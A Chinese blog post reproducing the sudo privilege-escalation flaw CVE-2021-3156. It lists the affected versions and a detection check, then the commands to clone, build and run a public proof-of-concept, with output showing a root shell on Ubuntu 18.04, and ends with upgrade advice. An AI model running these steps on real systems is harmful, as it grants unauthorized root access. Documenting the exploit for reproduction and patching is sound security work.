首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Linux sudo权限提升漏洞(CVE-2021-3156)复现

Linux sudo权限提升漏洞(CVE-2021-3156)复现

作者头像
R0A1NG
发布于 2022-02-19 01:35:14
发布于 2022-02-19 01:35:14
1.5K0
举报
文章被收录于专栏:R0A1NG 技术分享R0A1NG 技术分享

漏洞简介

sudo命令加上-s或-i参数运行时,命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

漏洞影响范围

Sudo 1.8.2 - 1.8.31p2 Sudo 1.9.0 - 1.9.5p1

漏洞检测

非root的账户,运行sudoedit -s /命令 如果出现以"sudoedit:"开头的错误响应,则系统受到此漏洞影响;如果出现以"usage:"开头的错误响应,则表示该漏洞已被补丁修复。

exp地址

https://github.com/blasty/CVE-2021-3156

复现

命令:

git clone https://github.com/blasty/CVE-2021-3156.git

正克隆到 'CVE-2021-3156'... remote: Enumerating objects: 24, done. remote: Counting objects: 100% (24/24), done. remote: Compressing objects: 100% (18/18), done. remote: Total 24 (delta 10), reused 19 (delta 6), pack-reused 0 展开对象中: 100% (24/24), 完成.

cd CVE-2021-3156/

make

rm -rf libnss_X mkdir libnss_X gcc -o sudo-hax-me-a-sandwich hax.c gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c

./sudo-hax-me-a-sandwich

** CVE-2021-3156 PoC by blasty <peter@haxx.in> usage: ./sudo-hax-me-a-sandwich available targets:` `------------------------------------------------------------ 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 ------------------------------------------------------------`

sudo -V

Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2

./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in> using target: 'Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27' pray for your rootshell.. [+] bl1ng bl1ng! We got it! sh-4.4#whoami root sh-4.4# id uid=0(root) gid=0(root) groups=0(root)

漏洞处理

及时升级sudo至最新版本。 下载链接: https://www.sudo.ws/dist/

参考: https://www.cnblogs.com/thelostworld/p/14351906.html https://www.venustech.com.cn/new_type/aqtg/20210127/22339.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
《Spring 手撸专栏》第 9 章:虎行有雨,定义标记类型Aware接口,实现感知容器对象
大佬的代码,就像“赖蛤蟆泡青蛙,长的丑玩的花”:一个类实现了多个接口、继承的类又继承了其他类、接口还可以和接口继承、实现接口的抽象类再由类实现抽象类方法、类A继承的类B实现了类A实现的接口C,等等。
小傅哥
2021/07/23
3490
「Spring 源码分析」Aware
一个空标记接口,表示 bean 可以通过接口定义的回调方法,获取相应的 Spring容器对象 对bean进行处理
花言不知梦
2020/05/24
6540
「Spring 源码分析」Aware
如何记忆 Spring Bean 的生命周期
“请你描述下 Spring Bean 的生命周期?”,这是面试官考察 Spring 的常用问题,可见是 Spring 中很重要的知识点。
草捏子
2020/08/10
8000
如何记忆 Spring Bean 的生命周期
Spring系列五:Bean 的生命周期
在本章中,我们学习Spring bean的生命周期。掌握bean生命周期的各个阶段,初始化和销毁回调方法。我们将学习使用XML配置和注释配置来控制bean生命周期事件。
java干货
2021/02/19
3450
Spring系列五:Bean 的生命周期
Spring - ApplicationContextAwareProcessor扩展接口
ApplicationContextAwareProcessor 本身并没有扩展点,但是该类内部却有6个扩展点可供实现 ,这些类触发的时机在bean实例化之后,初始化之前.
小小工匠
2022/12/05
5840
Spring - ApplicationContextAwareProcessor扩展接口
如何让 Bean 深度感知 Spring 容器
TienChin 视频杀青啦~采用 Spring Boot+Vue3 技术栈,里边会涉及到各种好玩的技术,小伙伴们来和松哥一起做一个完成率超 90% 的项目,戳戳戳这里-->TienChin 项目配套视频来啦。
江南一点雨
2023/11/05
2600
如何让 Bean 深度感知 Spring 容器
Spring复杂的BeanFactory继承体系该如何理解? ----中
本系列重点不在于对源码的讲解,而在于让大家认识到spring为什么这样设计,重在思想的传递
大忽悠爱学习
2022/05/10
3460
Spring复杂的BeanFactory继承体系该如何理解? ----中
Spring Aware 接口
有些时候,在 Bean 的初始化中,需要使用 Spring 框架自身的对象来执行一些操作,比如获取 ServletContext 的一些参数,获取 ApplicaitionContext 中的 BeanDefinition 的名字,获取 Bean 在容器中的名字等等。为了让 Bean 可以获取到框架自身的一些对象,Spring 提供了一组以 Aware 为结尾的接口。
happyJared
2019/10/08
5170
15个Spring扩展点,一般人知道的不超过5个!
Spring的核心思想就是容器,当容器refresh的时候,外部看上去风平浪静,其实内部则是一片惊涛骇浪,汪洋一片。
田维常
2022/11/25
2.5K0
15个Spring扩展点,一般人知道的不超过5个!
Spring之Aware接口介绍
  在Bean对象的生命周期的方法中有好几个接口是Aware接口的子接口,所以弄清楚Aware接口对于理解Spring框架还是很有帮助的。
用户4919348
2019/04/02
5.2K0
Spring之Aware接口介绍
Spring - BeanFactoryAware扩展接口
扩展点方法为setBeanFactory,可以拿到BeanFactory这个属性。
小小工匠
2022/12/05
5290
Spring - BeanFactoryAware扩展接口
spring之aware接口
实现org.springframework.beans.factory.aware子接口的Bean类在创建时会在调用该bean的init方法之前调用aware子接口的相应方法,举几个类来说明下:
johnhuster的分享
2022/03/28
2260
Spring中的Aware解析
简介 Spring框架中提供了许多实现了Aware接口的类,这些类主要是为了辅助Spring访问容器中的数据,比如BeanNameAware,这个类能够在Spring容器加载的过程中将Bean的名字(id)赋值给变量。 常用的Aware BeanNameAware:能够获取bean的名称,即是id BeanFactoryAware:获取BeanFactory实例 ApplicationContextAware:获取ApplicationContext MessageSourceAware:获取Message
爱撒谎的男孩
2019/12/30
1.1K0
被隔离了,聊一聊春(Spring)的生命周期
今天我们来分享一下Spring Bean的生命周期,Spring Bean的生命周期对于我们掌握Spring来说是很关键的,理解了Spring的生命周期,那么我们在开发的时候才能更好的利用Spring的功能,从而达到我们的目的!
小四的技术之旅
2022/07/26
3830
被隔离了,聊一聊春(Spring)的生命周期
Spring5源码学习(3)refresh 方法
接上回 Spring5源码学习(2) ,分析完register(annotatedClasses);后,现在来看一下refresh();方法。
Coder小黑
2019/12/18
6750
Spring5源码学习(3)refresh 方法
【死磕 Spring】----- IOC 之 深入分析 Aware 接口
Aware 接口为 Spring 容器的核心接口,是一个具有标识作用的超级接口,实现了该接口的 bean 是具有被 Spring 容器通知的能力,通知的方式是采用回调的方式。
用户1655470
2019/01/02
2.1K0
Spring扩展点之Aware接口族
Spring中提供了各种Aware接口,方便从上下文中获取当前的运行环境,比较常见的几个子接口有:BeanFactoryAware,BeanNameAware,ApplicationContextAware,EnvironmentAware,BeanClassLoaderAware等
Java学习录
2019/09/17
5330
Spring之Aware接口
Java微观世界
2025/01/21
960
Spring Aware容器感知技术
Spring Aware是什么 Spring提供Aware接口能让Bean感知Spring容器的存在,即让Bean可以使用Spring容器所提供的资源。 Spring Aware的分类 几种常用的Aware接口如下。 Aware接口说明ApplicationContextAware能获取Application Context调用容器的服务ApplicationEventPublisherAware应用事件发布器,可以用来发布事件BeanClassLoaderAware能获取加载当前Bean的类加载器Be
Java技术栈
2018/03/30
1.2K0
Spring Aware容器感知技术
长文预警!Spring源码之IoC容器的基本实现
Spring是一个开放源代码的设计层面框架,他解决的是业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用。Spring是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson创建。简单来说,Spring是一个分层的JavaSE/EE full-stack(一站式) 轻量级开源框架。
慕容千语
2020/11/09
3421
长文预警!Spring源码之IoC容器的基本实现
相关推荐
《Spring 手撸专栏》第 9 章:虎行有雨,定义标记类型Aware接口,实现感知容器对象
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档